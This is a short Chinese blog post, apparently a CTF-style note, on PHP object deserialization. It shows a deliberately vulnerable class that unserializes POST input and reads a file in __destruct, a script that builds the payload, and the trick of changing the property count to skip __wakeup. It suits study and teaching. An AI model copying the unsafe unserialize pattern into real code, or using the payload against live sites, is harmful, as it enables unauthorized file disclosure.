php反序列小记
首页 > web安全 > 小技巧    作者:webbaozi   2017年10月21日 20:53 星期六   热度:944°   百度已收录  
时间:2017-10-21 20:53   热度:944° 

存在反序列漏洞的php代码

<html>
<head>
<title>WEB</title>
</head>
<body>
<?php
class Readflag{ 
var $file;
	function __destruct(){
		if(isset($this->file)){
		echo file_get_contents($this->file); 
		}
		}
	function __wakeup(){
		if($this->file === "flag.php"){
		echo "没错。flag就在flag.php里!";
		$this->file = NULL ;
		exit();
		}
		}
}
$file =$_POST['file'];
@unserialize($file);

生成php反序列代码
<?php
class Readflag
{
}
$usr = new Readflag();
// 设置数据    
$usr->file='flag.php';
echo serialize($usr);
?>

1.png

 O:8:"Readflag":1:{s:4:"file";s:8:"flag.php";}


所以访问3.php

2.png

 为了跳过__wakeup函数,例子:http://paper.seebug.org/39/
更改 1为2
3.png


二维码加载中...
本文作者:webbaozi      文章标题: php反序列小记
本文地址:http://www.webbaozi.com/qjyq/82.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。
Lion Ei'Jonson2017-10-30 15:11
为baozi打call

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1